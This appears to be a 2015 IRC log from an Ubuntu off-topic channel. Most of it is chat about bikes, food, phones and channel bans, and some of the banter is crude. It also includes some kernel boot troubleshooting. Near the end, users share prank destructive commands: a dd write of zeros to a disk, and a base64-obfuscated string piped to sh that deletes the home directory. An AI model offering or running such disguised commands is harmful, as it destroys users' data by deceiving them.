[00:41] i love BBQ [00:43] mmmm caramelized [00:43] lol [00:43] its BQ OerHeks ! [00:44] got it from duch site 3 days delivery :p [00:44] wileee: with honey and garlic mmm [00:44] I Live between two restaurants, one roasts meat all night, both are ethnic, it's a beautiful torture [00:44] mmmm [00:46] Which site, lotus? [00:46] sup [00:46] max ict? [00:47] OerHeks: holdon lemme find [00:49] OerHeks: http://tweakers.net/pricewatch/434564/bq-aquaris-e45-ubuntu-edition-zwart.html [00:49] OerHeks: i got it from afuture.nl [00:50] kazuma-: welcome [00:51] oh oke, they sell the 4.5 only [00:52] yes i didnt find E5 on dutch sites [00:52] but 4.5 totaly rox already [00:52] i dont need hd [03:07] i feel like Roy from the IT Crowd [03:08] hello, have you tried explaining your issue in full details [03:08] heh [03:10] its like calling up a mechanic and saying "hey i have a problem with my car" [03:11] I liked the 'usual advice' did not work === DJOnes is now known as DJones [07:33] Good morning. [09:22] good morning to all [09:27] http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-ZFS-Standard-Plans [09:27] hi EriC^^ [09:27] !zfs [09:27] For information concerning ZFS and Ubuntu, see: https://wiki.ubuntu.com/ZFS [09:27] hi lotuspsychje [09:28] EriC^^: got my bq 4.5 yesterday :p [09:30] cfhowlett: yowza Mr wolf [09:31] hey^3 [09:35] what's that lotuspsychje ? [09:35] EriC^^: bq aquarius phone with ubuntu touch [09:35] cool [09:36] it rocknrolls, better then expected :p [09:36] nice :D [10:34] Hi everyone [10:35] hi pauljw [10:35] hi lotuspsychje :) [10:45] good day to all [14:13] i have W10 in vmware Player... out of curiosity, trying to run Candy Crush game... "consent for the colluction/use of personal data"... followed by a three page list of what personal data are being collected... no joke [16:08] MonkeyDust, collected by win10 or that candy thingy ? ( i think both) [16:09] good evening to all [16:12] EvEning. [16:14] :-) [16:14] evening lotuspsychje [16:15] http://linux.softpedia.com/blog/ubuntu-snappy-core-15-04-now-features-basic-support-for-uefi-firmware-updates-493892.shtml === DosTuMai is now known as DosTuMai|Noms === DosTuMai|Noms is now known as DosTuMai [16:59] bbl [18:35] * daftykins pops in and requests an unban [18:35] ...silence... [18:40] i dont think you're banned daftykins [18:41] oh? it lasted until at least yesterday [18:42] ah you are [18:43] XD [18:43] join #ubuntu-ops [18:44] yeah i meant that's where i'm asking [18:44] i often hop in to report the trolls [18:44] oh ok :D [18:44] yeah [18:46] it was torture being in there but unable to speak, so many questions and i could do nothing! :) [18:46] hehe [18:46] * DossieKielle hides. [18:48] haha, honestly my actions were all on me so it's all good [18:48] what'd you do? :P [18:49] well a certain op who finds it necessary to tell a regular the rules - and enforce them with an iron fist, i may've called rather stupid :> [18:49] Tell me to brain and google something in #ubuntu. xD [18:50] hello DossieKielle [18:50] I think an impolite version of poopies came in to it, too. [18:50] :D [18:50] yeah it started with that ^ but i figured since you knew me from here you wouldn't take it too bad like most question askers sometimes do :> [18:50] Oh, wait... === DossieKielle is now known as DosTuMai [18:50] but then the op didn't know that [18:50] i see [18:51] i'd done quite a long shift by that point so i wasn't so appreciative of being told the rules we all know ;) [18:51] yeah [18:53] http://imgur.com/gallery/b6lVA9v [18:54] that's not a fish! [18:54] xD [18:59] is that..? is that a dildo? [18:59] O.o [18:59] XD [19:00] yip [19:00] haha [19:00] * daftykins wonders which birthday DosTuMai last saw :P [19:05] 30th was my last birthday. o_O [19:05] me too! [19:06] i'm almost there [19:06] couple months more [19:06] 31 at the end of next month. @_@ [19:07] :( [19:08] You feeling really young, or old, pauljw? [19:09] kinda old kiddo... [19:09] :D [19:09] Kiddo, I might have to use that. xD [19:10] i annoyed someone with that one, granted they were only 18 months my junior [19:10] Still a mere child! [19:11] heheh... didn't mean to annoy anyone.... but any 2 of you three fall short of adding up to my age. [19:11] anyway folks i'm up to England for the weekend, so i won't be about for a bit [19:11] well have a good weekend daftykins [19:11] thanks :) [19:11] Why would you want to go to England? Good luck with the chavs. [19:12] some of my friends from school days are doctors up there [19:12] gonna go stay with two that are married and have a little one now, too [19:12] also gives me an opportunity to binge on fast food - as my island doesn't have any of the usual ones like mcdonalds, burger king, KFC, subway... all the bad stuff ;) [19:13] Then you're lucky. Don't eat that crap, it's not good for you. [19:13] ah it's great on a rare occasion [19:14] burger king give me free coke cans cause i order so much [19:14] Ah yes, "I'll have a cardiac arrest burger with a side of coronary fries. And don't hold up on the salt, bub." [19:14] we're all gonna die anyways [19:14] back home here my local indian takeaway gives me a free 330ml cobra beer with my £8 curry \o/ [19:14] might as well eat fast food :D [19:15] ah ya, eat healthy, exercise regularly and die anyway... [19:15] True, and I can't really say much - going in to KFC and ordering an 18 piece bucket to myself... [19:16] :) popped in a KFC when i was over in Wales the other weekend doing a downhill mountain biking trip, i just got a spicey fillet burger thing, does me fine :) [19:16] but then i'm a scrawny type :> [19:16] Pfft, try doing 90km on a DH rig... [19:16] Then you'll do the same. [19:17] do you ride? [19:17] not sure where you'd find 90km trails :P [19:17] Uh, yah. DH/FR mostly because I'm a Canadian - bloody Colonial to you Brits. [19:18] well i'm not a true Brit, so easy on that label ;) [19:18] we do call England the 'mainland' though :> [19:18] Problem is, I like doing Enduro, too. Which is difficult on a big bike. [19:19] i took my XC bike over to try it out [19:19] got pretty trashed :) [19:19] so tiring using a bike with the wrong geometry for what you're doing ;/ [19:20] https://www.dropbox.com/s/601z06isymtw755/IMG_20150806_225243.jpg?dl=0 [19:20] pretty insufficient travel :> [19:22] Well, I only have my But pretty nice bike. =D [19:23] but pretty? o0 [19:23] https://drive.google.com/file/d/0B1XfDBb8toplWnV4T0s0VGxjdjA/view?usp=sharing [19:24] Thought I'd erased all what I half typed... [19:24] Your but is kewl. [19:25] * daftykins turns around and checks for anyone glancing at it [19:25] 2 of my mates took hardtails XD [19:27] Old school epic, always liked the way Specialized ride. [19:27] mmm 7 years old now [19:27] after the first morning of riding the seals went in my forks, oil was peeing everywhere [19:27] >_< [19:27] thankfully bikepark wales has a shop on site, £60 had me going again later [19:28] hired a Trek slash 7 for the afternoon, i was so much quicker on that thing [19:28] xD [19:28] proper geometry so i wasn't getting anywhere near as tired [19:28] I'll bring Betsie. She'll chew through the trails. [19:28] :) [19:29] Google drive link ^up there. [19:29] have to keep mine on the hard pack: http://i1277.photobucket.com/albums/y500/pward553/20140831_145748_zpscf403fce.jpg [19:29] hehe [19:30] ;) [19:30] i'd love to pick something up for proper DH but there's no scene for it on this island [19:30] what events do happen are maybe, 5 per year? [19:30] and those last about 90 seconds tops [19:30] You're making me miss my CBR, pauljw... [19:31] cheaper to go to Wales and rent [19:31] right i gotta go to that food thing and stuff, later folks \o back Tuesday if not later on [19:31] s/go to/go do/ [19:31] o/ [19:31] hey harley looks [19:31] they're fun, but so the bikes you're riding now [19:32] are [19:32] Nothing beats something hot & throbbing between the legs, though... [19:32] looks like a safer version, lower to the ground overall, I've been a gp style rider mainly [19:33] My Old Charlene was a racing bike. Great fun until I got caught going over the speed limit with full Nos tanks. [19:33] gp, that's a bit much for me... 70mph thru the twisties is about all this old man is up for... [19:33] laters daftykins [19:34] pauljw, Yeah always gotta ride like your not seen I agree. [19:34] :) [19:34] I've had the brain surgery for the fun once [19:34] that will do, lol [19:35] ouch [19:35] Ouch. I was taught to treat every other road user as an idiot. [19:35] that's right [19:35] just epilepsy long term, lucky to have been 20 blocks from the best hosp, I would have died otherwise [19:36] Very lucky. [19:36] i'll say [19:38] Never had a crash on a motorbike. Do all of that on the pedal kind. [19:38] I'm living on borrowed time really, no biggie others have things happen, nothing like a war injuries we see now because of up front meds. [19:38] Isn't everyone? [19:39] probably, heh [19:40] i'm still recovering from my wreck this past May, but I am back on the bike now. [19:40] deer are so darned unpredictable... [19:41] I lost my license due to the epilepsy, so been biking for last 15 years, but always a bike rider [19:42] that's a rough one wileee , my wife suffers from generalized seizure disorder and lost her license about 18 years ago. she's still angry about it. [19:43] pauljw, I fell asleep one time riding my honda 750 with a bari sax strapped to the back, just missed a pole support line, when I looked where I'd gone off the road. Bummer pauljw it is tougher for some. [19:45] that was really dumb I must say, ; ) [19:46] And - again - ridiculously lucky. Sure you're not part unicorn, or something? [19:46] heheh... [19:46] brb [19:46] I have other totally lucky wrecks, I have been luckier than I should have been statistically [19:48] I think it's karma, I've saved two others in dire circumstances but just happening to have been there. [19:48] :) [19:50] this is my project bike, not road worthy yet: http://i1277.photobucket.com/albums/y500/pward553/20150330_112432_zpsxjipoboa.jpg [19:51] http://imgur.com/gallery/PEVKyZu [19:51] So pretty. =o [19:52] pauljw, I like that style of harley [19:52] :) [19:53] That the 1000cc Sportster? [19:54] yes [19:55] * DosTuMai dribbles. [19:55] I heard they're so nice to ride, really comfy. [19:57] someone's been telling you stories... they ride like a ton of bricks. but that's what i like about em, kinda raw. [20:00] were any of you guys or gals affected by todays kernel update? [20:01] No issues so far. [20:02] my laptop wouldn't boot, had to revert back to previous kernel. guess there's a fix in the works. [20:02] pauljw: wich ubuntu version [20:03] 14.04 lts [20:03] weird, trusty here also, no issues [20:03] Ditto. [20:04] pauljw: where did it got stuck? [20:04] saw several others reporting problems on the forums. [20:04] on the logon screen [20:04] pauljw: grafix driver and card chipset? [20:05] trusty here 3.19.0.30 running fine [20:05] lotuspsychje@R00TB0X:~$ uname -a [20:05] Linux R00TB0X 3.13.0-65-generic #106-Ubuntu SMP Fri Oct 2 22:08:27 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux [20:05] Linux paul-Gazelle-Professional 3.13.0-65-generic #106-Ubuntu SMP Fri Oct 2 22:08:27 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux [20:06] intel onboard chip set. hang on i'll get specifics [20:07] 00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06) [20:07] whats driver= say [20:09] pauljw: sudo lshw -C video [20:09] at the end driver= [20:10] driver=i915 latency=0 [20:10] ok [20:11] thanks for the command... :) [20:11] pauljw: maybe check syslog,dmesg and xorg for relevant errors on that kernel [20:11] pauljw: your getting login loop? [20:12] uh, it just hangs, keyboard unresponsive and fans kicked up, had to hard reset machine. [20:12] hmmm [20:12] so unity loads up? [20:12] no, just the logon screen [20:13] cant enter text? [20:13] nope [20:13] pauljw: could try F1 during bootup to see text errors on boot [20:14] maybe /var/log/lightdm/lightdm.log has something [20:18] back in a bit, going to try some of your ideas... [20:18] okay [20:18] good luckµ [20:18] :) [20:23] http://www.deviantart.com/art/Ubuntu-15-04-Flat-desktop-fail-554536333 [20:24] crazy what users do with their desktops [20:25] Why. Why would anyone try to make Ubuntu look like M$10? [20:26] you hear the weirdest things :p [20:26] DosTuMai: maybe you like this better: http://www.deviantart.com/art/Mi-Escritorio-Ubuntu-Mate-Prueba-1-549370653 [20:27] But that's wrong. Do I go in to people's wind0ze and turn it all to CLI? Nope. Please, why ruin something that works with lazy. [20:28] Lesigh. [20:28] Cute bikini, but she's far too plastic for me. [20:33] !info screenfetch [20:33] screenfetch (source: screenfetch): Bash Screenshot Information Tool. In component universe, is optional. Version 3.6.5-2 (vivid), package size 34 kB, installed size 185 kB [20:33] Really, I'd prefer a picture of Manon Carpenter or Mikayla Gatto on their bikes. [20:33] never heard of them [20:34] Downhill mountainbiking pros. [20:35] https://www.google.co.uk/search?q=manon+carpenter&safe=strict&hl=en&biw=1429&bih=729&site=webhp&source=lnms&tbm=isch&sa=X&ved=0CAYQ_AUoAWoVChMI1bCL8ZqxyAIVga4UCh3pxABY&dpr=0.9 [20:35] !info screenfetch trusty [20:35] Package screenfetch does not exist in trusty [20:36] a little young :p [20:42] Pffft, she's so huggable! [20:42] I just wanna mother her. [20:43] oO [20:43] so forget the s [20:43] *you [20:44] You forget that I'm a breasticled creature? [20:44] lol [20:44] Just think of me as an emergent AI, it seems to help in most IRC channels... [20:46] Yes, 'AIs' are as capable of trolling as portable-sausage wielders. [20:47] you lost me there :p [20:49] That's oki, I lose myself when I spin off on a tangent... [20:50] you have a strange vocabulary :p [20:51] Ni bu shuohua,, O_o [20:52] hai! [20:52] Hai is Japanese. o_O [20:57] I like dutch cheese. [20:57] Not the brand 'old-amsterdam' as there are no cows living in amsterdam. [20:59] lol [21:00] * OerHeks is now known as OerHeks [21:00] lol [21:00] someone gonna get banned [21:01] The only ban i ever had on Freenode, was in #debian [21:01] mine in ...##cars i think [21:02] I have no driving license, so no use for me hanging in a car channel. [21:02] the most stupid crew ever in one channel [21:02] >_> [21:02] OerHeks: you wouldnt last 3 min in that chan :p [21:03] On Freenode? [21:03] yep [21:03] * DosTuMai waddles over. [21:05] I'm waiting for derp to poke. [21:09] * Cannot join ##cars (You are banned) [21:09] lol [21:09] xD [21:14] Who were the biggest used douche canoes? [21:15] what who [21:16] [22:10:54] Konbanwa~~hentai,,ogenkidesuka ? =D [21:16] [22:12:08] DosTuMai, watching a race, I don't japanese [21:16] [22:12:56] O_o You don't Nihon and you're named after animated pr0n? [21:16] [22:13:22] Does not compute. [21:18] I'm warming up. [21:43] Bad connection is terribad. [22:14] Oh, lotuspsychje left. I'm dishing out 'advice' in that channel. [22:30] they dunno anything [22:30] i'm banned from there as well :D [22:30] xD [22:31] Asking if attaching a trailer to the axle is a good idea... DosTuMai> No, but if you record the results and post it on youtube, I'll happily put your name on the Darwin Awards website. =] [22:31] lol [22:32] [23:27:45] Well, you could check the back of a midget's head to see if it's tattooed there, or the back of the stereo. [22:32] [23:28:40] There's a little sticker by the connectors or at the bottom that gives the VIN or make/model of vehicle it was installed in if it's the standard equipment. [22:33] ^Car stereo identification. [22:33] haha [22:34] :D [22:34] I'm in [22:34] i joined, they have my other ip banned :D [22:36] xD [22:37] Kinda slow in there. [22:37] haha yeah [22:39] it's so hard not to get banned there [22:40] Epic is the guy who banned me iirc [22:49] That pulled out the asshole. [22:50] lol [22:50] yeah [22:50] they're really sensitive when it comes to their jeeps [22:50] FYI: I have a lot of Korean friends, they say the same about most Koreans. [22:51] when I went for coffee this morning I saw a jeep with 'willy's jeep' on it, it's one of them [22:52] one of the more dangerous vehicles made [22:52] No doors, seat belts. Poor crumple zones... Yah. [23:01] I spent far too long in the army... [23:12] :D [23:12] * DosTuMai puts the tinfoil hat on. [23:12] haha [23:13] * OerHeks prefers chickenwire [23:14] * DosTuMai whistles innocently. [23:15] https://drive.google.com/open?id=0B1XfDBb8toplTXRhWnNpM2tYSVk [23:15] Wrong channel. >_> [23:17] Did you like my console command? xD [23:18] i especially liked the *click* [23:18] :D [23:19] =P [23:20] I do that when bored. So far it's only removed unimportant things from my test system. [23:20] lol [23:39] i've a pretty evil command [23:39] xD [23:40] What about: dd if=/dev/zero of= iflag=nocache oflag=direct bs=4096 [23:41] Welcome back, Bashing-om. [23:41] pretty evil [23:41] DosTuMai: :) Dumb ass attack . [23:42] I usually act as dumbass repellent. For other people, freaks have this habit of gravitating to me. [23:42] echo `base64 -d <<< cm0gLXJmIH4K|sh` [23:42] don't run it though [23:42] it's pretty deceptive [23:42] I will, on my test machine. xD [23:43] open terminal: " yes I Love OerHeks " [23:46] Spent far too long on Suse. xD Everything's console by habit for me. [23:47] the |sh at the end runs it, if you run base64 -d <<< cm0gLXJmIH4K , it'll just show what it does [23:50] Welp, it killed my test box. But that's not hard, it's a mouldy potato. It was old when M$98 came out... [23:51] Mazda Miata/MX5... It's a girl car... [23:52] yeah [23:53] [00:50:25] DosTuMai: fuck yourself :p [23:53] [00:50:28] DosTuMai: we are all gay here [23:53] [00:51:21] I do quite often. It's the benefit of a vagina, cdbob. [23:53] lol